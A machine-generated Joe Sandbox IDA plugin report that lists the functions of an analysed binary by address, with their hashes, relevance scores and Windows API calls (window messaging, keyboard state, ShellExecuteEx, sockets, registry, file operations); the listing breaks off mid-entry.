Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2e0000_Linux.jbxd

Similarity

API ID: CriticalExchangeFileInterlockedReadSection_memmove$EnterException@8LeaveThrowstd::exception::exception
String ID:
API String ID: 256516436-0
Opcode ID: 13f2fab59e07ec518974f0cd59f1d48b5d06ab0a8b654175d6e2211dfa697bbb
Instruction ID: e6351c63e012754e10842716ae888ad0ffa8532a21699f97b680532577392a5e
Opcode Fuzzy Hash: 13f2fab59e07ec518974f0cd59f1d48b5d06ab0a8b654175d6e2211dfa697bbb
Instruction Fuzzy Hash: 3E317E72904205EBDB16EF64DC85EAFBBB8EF45310F1540A5F904EE296D7309E50DBA0

Function 003667F8 Relevance: 12.1, APIs: 8, Instructions: 95windowCOMMON

Download Yara Rule

APIs

DeleteObject.GDI32(00000000), ref: 00366810
GetDC.USER32(00000000), ref: 00366818
GetDeviceCaps.GDI32(00000000,0000005A), ref: 00366823
ReleaseDC.USER32(00000000,00000000), ref: 0036682F
CreateFontW.GDI32(?,00000000,00000000,00000000,?,00000000,00000000,00000000,00000001,00000004,00000000,?,00000000,?), ref: 0036686B
SendMessageW.USER32(?,00000030,00000000,00000001), ref: 0036687C
MoveWindow.USER32(?,?,?,?,?,00000000,?,?,0036964F,?,?,000000FF,00000000,?,000000FF,?), ref: 003668B6
SendMessageW.USER32(?,00000142,00000000,00000000), ref: 003668D6

Memory Dump Source

Source File: 0000000A.00000002.2922109004.00000000002E1000.00000020.00000001.01000000.00000005.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000A.00000002.2922068757.00000000002E0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000370000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000396000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922250653.00000000003A0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922272812.00000000003A9000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2e0000_Linux.jbxd

Similarity

API ID: MessageSend$CapsCreateDeleteDeviceFontMoveObjectReleaseWindow
String ID:
API String ID: 3864802216-0
Opcode ID: ac1415c33bf821e5a636337c8f48a46c9ea21b5aa7fc8db7306365552221d9dc
Instruction ID: a1e26facb8bc032222d8e6c9cca2acb55355c440026adeadbde677b39f7300b8
Opcode Fuzzy Hash: ac1415c33bf821e5a636337c8f48a46c9ea21b5aa7fc8db7306365552221d9dc
Instruction Fuzzy Hash: D8316D72101214BFEB268F10CC8AFEB3BADEB49761F054055FE089A292C7759891CB70

Function 0033C748 Relevance: 12.1, APIs: 8, Instructions: 92COMMON

Download Yara Rule

APIs

_memcmp.LIBCMT ref: 0033C75D
_memcmp.LIBCMT ref: 0033C77F
_memcmp.LIBCMT ref: 0033C797
_memcmp.LIBCMT ref: 0033C7AA
_memcmp.LIBCMT ref: 0033C7C4
_memcmp.LIBCMT ref: 0033C7D7
_memcmp.LIBCMT ref: 0033C7EF
_memcmp.LIBCMT ref: 0033C80A

Memory Dump Source

Source File: 0000000A.00000002.2922109004.00000000002E1000.00000020.00000001.01000000.00000005.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000A.00000002.2922068757.00000000002E0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000370000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000396000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922250653.00000000003A0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922272812.00000000003A9000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2e0000_Linux.jbxd

Similarity

API ID: _memcmp
String ID:
API String ID: 2931989736-0
Opcode ID: 9042b6f98281d620f897ea263537836c06fd6e44669005a9528dd1673e550914
Instruction ID: c519e698671c5abd3f6a907b1f67afcdeeb0090be0cac7257e3e2e9ee3e03b37
Opcode Fuzzy Hash: 9042b6f98281d620f897ea263537836c06fd6e44669005a9528dd1673e550914
Instruction Fuzzy Hash: 7121D77261120A7ED61775208DD2FBB376C9E11744F045020FD0ABA683EB15DE11DBA1

Function 0034F166 Relevance: 10.8, APIs: 5, Strings: 1, Instructions: 323COMMON

Download Yara Rule

APIs

Part of subcall function 002E4D37: __itow.LIBCMT ref: 002E4D62
Part of subcall function 002E4D37: __swprintf.LIBCMT ref: 002E4DAC

Part of subcall function 002F436A: _wcscpy.LIBCMT ref: 002F438D

_wcstok.LIBCMT ref: 0034F2D7
_wcscpy.LIBCMT ref: 0034F366
_memset.LIBCMT ref: 0034F399

Strings

X, xrefs: 0034F3D6

Memory Dump Source

Source File: 0000000A.00000002.2922109004.00000000002E1000.00000020.00000001.01000000.00000005.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000A.00000002.2922068757.00000000002E0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000370000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000396000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922250653.00000000003A0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922272812.00000000003A9000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2e0000_Linux.jbxd

Similarity

API ID: _wcscpy$__itow__swprintf_memset_wcstok
String ID: X
API String ID: 774024439-3081909835
Opcode ID: 3a39f3f462fb4568f3740490035b82f9f5d0df8b1dd8773e59467e3541585391
Instruction ID: 014505b988eaa675d469cd0a8af71987c1aadca5ddbfe1fc0f0a361b7fe07709
Opcode Fuzzy Hash: 3a39f3f462fb4568f3740490035b82f9f5d0df8b1dd8773e59467e3541585391
Instruction Fuzzy Hash: 00C1A875618340DFC725EF24C891A6BB7E4AF85354F44492DF9998B2A2DB30EC25CF82

Function 003571EE Relevance: 10.8, APIs: 7, Instructions: 250networkCOMMON

Download Yara Rule

APIs

__WSAFDIsSet.WSOCK32(00000000,?,00000000,00000000,?,00000064,00000000), ref: 003572EB
#17.WSOCK32(00000000,?,?,00000000,?,00000010), ref: 0035730C
WSAGetLastError.WSOCK32(00000000), ref: 0035731F
htons.WSOCK32(?,?,?,00000000,?), ref: 003573D5
inet_ntoa.WSOCK32(?), ref: 00357392

Part of subcall function 0033B4EA: _strlen.LIBCMT ref: 0033B4F4
Part of subcall function 0033B4EA: _memmove.LIBCMT ref: 0033B516

_strlen.LIBCMT ref: 0035742F
_memmove.LIBCMT ref: 00357498

Memory Dump Source

Source File: 0000000A.00000002.2922109004.00000000002E1000.00000020.00000001.01000000.00000005.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000A.00000002.2922068757.00000000002E0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000370000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000396000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922250653.00000000003A0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922272812.00000000003A9000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2e0000_Linux.jbxd

Similarity

API ID: _memmove_strlen$ErrorLasthtonsinet_ntoa
String ID:
API String ID: 3619996494-0
Opcode ID: e7bfefe500c00c61a3fbeda82836fc7c79445ca0e65bf2b5739a4a7b592ac70f
Instruction ID: 0abe51708ac4c40a2f6512647167a6689d6f768d5a3659f72ba48f414ba3e738
Opcode Fuzzy Hash: e7bfefe500c00c61a3fbeda82836fc7c79445ca0e65bf2b5739a4a7b592ac70f
Instruction Fuzzy Hash: 8981F3B1118300ABC715EB25DC85E6BB7ECEF84714F50491CFA559B2A2DB70DD05CB92

Function 002E1800 Relevance: 10.7, APIs: 7, Instructions: 219COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2922109004.00000000002E1000.00000020.00000001.01000000.00000005.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000A.00000002.2922068757.00000000002E0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000370000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000396000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922250653.00000000003A0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922272812.00000000003A9000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2e0000_Linux.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cd6bbc922a8ad25d65be81a9eaeeac78b8f79111e07b70d182437f5588a033a3
Instruction ID: 69618fd32d072a3b6625b98b38dba4c018b5aa43a5546c3aaf315c44f8ecd519
Opcode Fuzzy Hash: cd6bbc922a8ad25d65be81a9eaeeac78b8f79111e07b70d182437f5588a033a3
Instruction Fuzzy Hash: AC716D30950149EFDB19CF59CC88AFEBB79FF89310F548169F915AA251C730AA61CFA0

Function 0036B9C3 Relevance: 10.7, APIs: 7, Instructions: 199windowCOMMON

Download Yara Rule

APIs

IsWindow.USER32(013655D8), ref: 0036BA5D
IsWindowEnabled.USER32(013655D8), ref: 0036BA69
SendMessageW.USER32(00000000,0000041C,00000000,00000000), ref: 0036BB4D
SendMessageW.USER32(013655D8,000000B0,?,?), ref: 0036BB84
IsDlgButtonChecked.USER32(?,?), ref: 0036BBC1
GetWindowLongW.USER32(013655D8,000000EC), ref: 0036BBE3
SendMessageW.USER32(?,000000A1,00000002,00000000), ref: 0036BBFB

Memory Dump Source

Source File: 0000000A.00000002.2922109004.00000000002E1000.00000020.00000001.01000000.00000005.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000A.00000002.2922068757.00000000002E0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000370000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000396000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922250653.00000000003A0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922272812.00000000003A9000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2e0000_Linux.jbxd

Similarity

API ID: MessageSendWindow$ButtonCheckedEnabledLong
String ID:
API String ID: 4072528602-0
Opcode ID: 8107afeeac3870012ebcfa081bc1eceb2618e2c4f912e7e77285d9bd9639db95
Instruction ID: 19f85c1853ade1e639f7b51db1c880091016d67e62ef219a37bdf67ef7056633
Opcode Fuzzy Hash: 8107afeeac3870012ebcfa081bc1eceb2618e2c4f912e7e77285d9bd9639db95
Instruction Fuzzy Hash: 1371A034604204EFDB269F94C8D5FBAF7A9EF4A300F158059E986D7299C731AD90DF60

Function 0035FB07 Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 177COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 0035FB31
_memset.LIBCMT ref: 0035FBFA
ShellExecuteExW.SHELL32(?), ref: 0035FC3F

Part of subcall function 002E4D37: __itow.LIBCMT ref: 002E4D62
Part of subcall function 002E4D37: __swprintf.LIBCMT ref: 002E4DAC

Part of subcall function 002F436A: _wcscpy.LIBCMT ref: 002F438D

GetProcessId.KERNEL32(00000000), ref: 0035FCB6
CloseHandle.KERNEL32(00000000), ref: 0035FCE5

Strings

@, xrefs: 0035FC0E

Memory Dump Source

Source File: 0000000A.00000002.2922109004.00000000002E1000.00000020.00000001.01000000.00000005.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000A.00000002.2922068757.00000000002E0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000370000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000396000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922250653.00000000003A0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922272812.00000000003A9000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2e0000_Linux.jbxd

Similarity

API ID: _memset$CloseExecuteHandleProcessShell__itow__swprintf_wcscpy
String ID: @
API String ID: 3522835683-2766056989
Opcode ID: 5db4dafb5c712f78df181e9d6ebe1ac821d9536f2c33b963ac9b18ca22574bef
Instruction ID: c87865a14c06251c5747091c1845b88d6fa1850a5edb1514edf050ef88813800
Opcode Fuzzy Hash: 5db4dafb5c712f78df181e9d6ebe1ac821d9536f2c33b963ac9b18ca22574bef
Instruction Fuzzy Hash: 4661CD74A00619DFCB16EFA5C8909AEB7F4FF08314F108469E84AAB361CB30AD55CF90

Function 0034174C Relevance: 10.7, APIs: 7, Instructions: 166windowCOMMON

Download Yara Rule

APIs

GetParent.USER32(?), ref: 0034178B
GetKeyboardState.USER32(?), ref: 003417A0
SetKeyboardState.USER32(?), ref: 00341801
PostMessageW.USER32(?,00000101,00000010,?), ref: 0034182F
PostMessageW.USER32(?,00000101,00000011,?), ref: 0034184E
PostMessageW.USER32(?,00000101,00000012,?), ref: 00341894
PostMessageW.USER32(?,00000101,0000005B,?), ref: 003418B7

Memory Dump Source

Source File: 0000000A.00000002.2922109004.00000000002E1000.00000020.00000001.01000000.00000005.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000A.00000002.2922068757.00000000002E0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000370000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000396000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922250653.00000000003A0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922272812.00000000003A9000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2e0000_Linux.jbxd

Similarity

API ID: MessagePost$KeyboardState$Parent
String ID:
API String ID: 87235514-0
Opcode ID: ea37a8ec520e5d10f6f8ab35ddb005f9578bc17d54c2141ad7bcf3f609c31ad7
Instruction ID: e0f60e8cb1a2bae26a4e921c48ae65ed14d64c0dadce3d57c8f56b81a2f8ae48
Opcode Fuzzy Hash: ea37a8ec520e5d10f6f8ab35ddb005f9578bc17d54c2141ad7bcf3f609c31ad7
Instruction Fuzzy Hash: 1051D460A08BD53DFB374224CC55BBA7EE95B06300F0D8589E1D95E8C2D398BCD4D750

Function 00341565 Relevance: 10.7, APIs: 7, Instructions: 165windowCOMMON

Download Yara Rule

APIs

GetParent.USER32(00000000), ref: 003415A4
GetKeyboardState.USER32(?), ref: 003415B9
SetKeyboardState.USER32(?), ref: 0034161A
PostMessageW.USER32(00000000,00000100,00000010,?), ref: 00341646
PostMessageW.USER32(00000000,00000100,00000011,?), ref: 00341663
PostMessageW.USER32(00000000,00000100,00000012,?), ref: 003416A7
PostMessageW.USER32(00000000,00000100,0000005B,?), ref: 003416C8

Memory Dump Source

Source File: 0000000A.00000002.2922109004.00000000002E1000.00000020.00000001.01000000.00000005.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000A.00000002.2922068757.00000000002E0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000370000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000396000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922250653.00000000003A0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922272812.00000000003A9000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2e0000_Linux.jbxd

Similarity

API ID: MessagePost$KeyboardState$Parent
String ID:
API String ID: 87235514-0
Opcode ID: 20334e31eebdd1349eb0ff5b0d31f2b5e5dfc53c1f4bab06f411a1380fb07d64
Instruction ID: e742fb671b9bb8f6c7641f0d34598e6ad81cda2258e2f08ed3e8fb6cee1bf666
Opcode Fuzzy Hash: 20334e31eebdd1349eb0ff5b0d31f2b5e5dfc53c1f4bab06f411a1380fb07d64
Instruction Fuzzy Hash: 1851E2A0608BD53DFB3787248C45BBABEE95B06300F0D8489E5D94E8C2D698FCD8E750

Function 00345BB8 Relevance: 10.6, APIs: 7, Instructions: 138timeCOMMON

Download Yara Rule

APIs

GetLocalTime.KERNEL32 ref: 00345BC5
_wcsncpy.LIBCMT ref: 00345BFA
_wcsncpy.LIBCMT ref: 00345C2C
_wcsncpy.LIBCMT ref: 00345C5F
_wcsncpy.LIBCMT ref: 00345CA1
_wcsncpy.LIBCMT ref: 00345CDB
_wcsncpy.LIBCMT ref: 00345D0A

Memory Dump Source

Source File: 0000000A.00000002.2922109004.00000000002E1000.00000020.00000001.01000000.00000005.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000A.00000002.2922068757.00000000002E0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000370000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000396000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922250653.00000000003A0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922272812.00000000003A9000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2e0000_Linux.jbxd

Similarity

API ID: _wcsncpy$LocalTime
String ID:
API String ID: 2945705084-0
Opcode ID: 052dc4a38452ca82d3c0e7bcd5df6fef7bb9b3cf6484e5ab39607ad60463a104
Instruction ID: 0b586395150b73a95e9f11c2344c6cd29f2673d1f9a4a731cb61c3d85aa25185
Opcode Fuzzy Hash: 052dc4a38452ca82d3c0e7bcd5df6fef7bb9b3cf6484e5ab39607ad60463a104
Instruction Fuzzy Hash: 3541A5A5C6161876CB12FBF4CC8AACFB3BC9F05310F514856F509EB152E634A719C3A5

Function 00343B64 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 111filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 00344BC3: GetFullPathNameW.KERNEL32(00000000,00007FFF,?,?,?,?,?,?,00343B8A,?), ref: 00344BE0

Part of subcall function 00344BC3: GetFullPathNameW.KERNEL32(?,00007FFF,?,?,?,?,?,00343B8A,?), ref: 00344BF9

lstrcmpiW.KERNEL32(?,?), ref: 00343BAA
_wcscmp.LIBCMT ref: 00343BC6
MoveFileW.KERNEL32(?,?), ref: 00343BDE
_wcscat.LIBCMT ref: 00343C26
SHFileOperationW.SHELL32(?), ref: 00343C92

Strings

\*.*, xrefs: 00343C20

Memory Dump Source

Source File: 0000000A.00000002.2922109004.00000000002E1000.00000020.00000001.01000000.00000005.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000A.00000002.2922068757.00000000002E0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000370000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000396000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922250653.00000000003A0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922272812.00000000003A9000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2e0000_Linux.jbxd

Similarity

API ID: FileFullNamePath$MoveOperation_wcscat_wcscmplstrcmpi
String ID: \*.*
API String ID: 1377345388-1173974218
Opcode ID: 4afe54db1484cfa81732579667ef5b9fe695c201c2991300163e78454dbc9edd
Instruction ID: 47c9cb65131df93c40736c8d8db9017a6a9f1a4576cdb02d7eedfdf6c2010834
Opcode Fuzzy Hash: 4afe54db1484cfa81732579667ef5b9fe695c201c2991300163e78454dbc9edd
Instruction Fuzzy Hash: E8415D7150C344AAC767EB64C485ADBB7ECEF88340F50192EF489CB191EB34E688CB52

Function 003678B6 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 103windowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 003678CF
GetMenuItemInfoW.USER32(?,000000FF,00000000,00000030), ref: 00367976
IsMenu.USER32(?), ref: 0036798E
InsertMenuItemW.USER32(?,?,00000001,00000030), ref: 003679D6
DrawMenuBar.USER32 ref: 003679E9

Strings

0, xrefs: 003678C3

Memory Dump Source

Source File: 0000000A.00000002.2922109004.00000000002E1000.00000020.00000001.01000000.00000005.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000A.00000002.2922068757.00000000002E0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000370000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000396000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922250653.00000000003A0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922272812.00000000003A9000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2e0000_Linux.jbxd

Similarity

API ID: Menu$Item$DrawInfoInsert_memset
String ID: 0
API String ID: 3866635326-4108050209
Opcode ID: 447352fd48a98e31094c5884e5cd071a3e741e38de94341a604e20b7bed24150
Instruction ID: 6d897e5038a50b279fee454c056fed1fc4b8a37f23f57028eafc9897f2ae176d
Opcode Fuzzy Hash: 447352fd48a98e31094c5884e5cd071a3e741e38de94341a604e20b7bed24150
Instruction Fuzzy Hash: EF41AD70A08208EFDB21CF64D884EAABBF9FF06324F458129F95597250C774AD50CFA1

Function 00361602 Relevance: 10.6, APIs: 7, Instructions: 101registryCOMMON

Download Yara Rule

APIs

RegEnumKeyExW.ADVAPI32(?,00000000,?,000000FF,00000000,00000000,00000000,?,?,?), ref: 00361631
RegOpenKeyExW.ADVAPI32(?,?,00000000,?,?), ref: 0036165B
FreeLibrary.KERNEL32(00000000), ref: 00361712

Part of subcall function 00361602: RegCloseKey.ADVAPI32(?), ref: 00361678
Part of subcall function 00361602: FreeLibrary.KERNEL32(?), ref: 003616CA
Part of subcall function 00361602: RegEnumKeyExW.ADVAPI32(?,00000000,?,000000FF,00000000,00000000,00000000,?), ref: 003616ED

RegDeleteKeyW.ADVAPI32(?,?), ref: 003616B5

Memory Dump Source

Source File: 0000000A.00000002.2922109004.00000000002E1000.00000020.00000001.01000000.00000005.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000A.00000002.2922068757.00000000002E0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000370000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000396000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922250653.00000000003A0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922272812.00000000003A9000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2e0000_Linux.jbxd

Similarity

API ID: EnumFreeLibrary$CloseDeleteOpen
String ID:
API String ID: 395352322-0
Opcode ID: 543db0d71fe4510189cd053c5301dc27fbac35bb58d14fa51791d7ccd2e10d78
Instruction ID: be6a05a212d4ad479688f2f9d13803e631ac321d21484471a9a6b6530143ff5c
Opcode Fuzzy Hash: 543db0d71fe4510189cd053c5301dc27fbac35bb58d14fa51791d7ccd2e10d78
Instruction Fuzzy Hash: 4B311AB5900109BFDB169B90DC89EFFB7BCEF08311F184169E906A2150EA749E859AA0

Function 003668F2 Relevance: 10.6, APIs: 7, Instructions: 99windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,000000F0,00000000,00000000), ref: 00366911
GetWindowLongW.USER32(013655D8,000000F0), ref: 00366944
GetWindowLongW.USER32(013655D8,000000F0), ref: 00366979
SendMessageW.USER32(?,000000F1,00000000,00000000), ref: 003669AB
SendMessageW.USER32(?,000000F1,00000001,00000000), ref: 003669D5
GetWindowLongW.USER32(?,000000F0), ref: 003669E6
SetWindowLongW.USER32(?,000000F0,00000000), ref: 00366A00

Memory Dump Source

Source File: 0000000A.00000002.2922109004.00000000002E1000.00000020.00000001.01000000.00000005.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000A.00000002.2922068757.00000000002E0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000370000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000396000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922250653.00000000003A0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922272812.00000000003A9000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2e0000_Linux.jbxd

Similarity

API ID: LongWindow$MessageSend
String ID:
API String ID: 2178440468-0
Opcode ID: f81095634faa6f09ce7b5406730f912f8b3871828caf81277414bf5078cbaf9d
Instruction ID: 88874e7b37ae32ea9d400b6dba864d8bec9733da78adc6c674ac648a77f19920
Opcode Fuzzy Hash: f81095634faa6f09ce7b5406730f912f8b3871828caf81277414bf5078cbaf9d
Instruction Fuzzy Hash: C3316830204150AFDB26CF58DC9AF2437E8FB4A794F1981A4F9148F2B5CB31AC80DB90

Function 0033E287 Relevance: 10.6, APIs: 7, Instructions: 95memoryCOMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000), ref: 0033E2CA
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000), ref: 0033E2F0
SysAllocString.OLEAUT32(00000000), ref: 0033E2F3
SysAllocString.OLEAUT32(?), ref: 0033E311
SysFreeString.OLEAUT32(?), ref: 0033E31A
StringFromGUID2.OLE32(?,?,00000028), ref: 0033E33F
SysAllocString.OLEAUT32(?), ref: 0033E34D

Memory Dump Source

Source File: 0000000A.00000002.2922109004.00000000002E1000.00000020.00000001.01000000.00000005.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000A.00000002.2922068757.00000000002E0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000370000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000396000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922250653.00000000003A0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922272812.00000000003A9000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2e0000_Linux.jbxd

Similarity

API ID: String$Alloc$ByteCharMultiWide$FreeFrom
String ID:
API String ID: 3761583154-0
Opcode ID: 787503150a5657d3f6b75ab1ccb2df69bceb346d49dfc60146ff4d142e5ea67d
Instruction ID: 95e75c88fb000fbdd2bc7d8389ad560ada91d2c577e9fe409541300899e01c30
Opcode Fuzzy Hash: 787503150a5657d3f6b75ab1ccb2df69bceb346d49dfc60146ff4d142e5ea67d
Instruction Fuzzy Hash: 63218676604219EF9F22DFA8DC88CBB77ACEF08360F454125FA18DB290D6709C818B60

Function 0035685E Relevance: 10.6, APIs: 7, Instructions: 94networkCOMMON

Download Yara Rule

APIs

Part of subcall function 00358475: inet_addr.WSOCK32(00000000,?,00000000,?,?,?,00000000), ref: 003584A0

socket.WSOCK32(00000002,00000001,00000006,?,?,00000000), ref: 003568B1
WSAGetLastError.WSOCK32(00000000), ref: 003568C0
ioctlsocket.WSOCK32(00000000,8004667E,00000000), ref: 003568F9
connect.WSOCK32(00000000,?,00000010), ref: 00356902
WSAGetLastError.WSOCK32 ref: 0035690C
closesocket.WSOCK32(00000000), ref: 00356935
ioctlsocket.WSOCK32(00000000,8004667E,00000000), ref: 0035694E

Memory Dump Source

Source File: 0000000A.00000002.2922109004.00000000002E1000.00000020.00000001.01000000.00000005.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000A.00000002.2922068757.00000000002E0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000370000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000396000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922250653.00000000003A0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922272812.00000000003A9000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2e0000_Linux.jbxd

Similarity

API ID: ErrorLastioctlsocket$closesocketconnectinet_addrsocket
String ID:
API String ID: 910771015-0
Opcode ID: 6966a82ab2152a568e1bcfe76f4706eb623bbc2a4a503ad68a905dddd28a86dc
Instruction ID: 9dcca7d5dfc792e6b8b15973d0a1c3532361759ad2677da79a351ef812802cf8
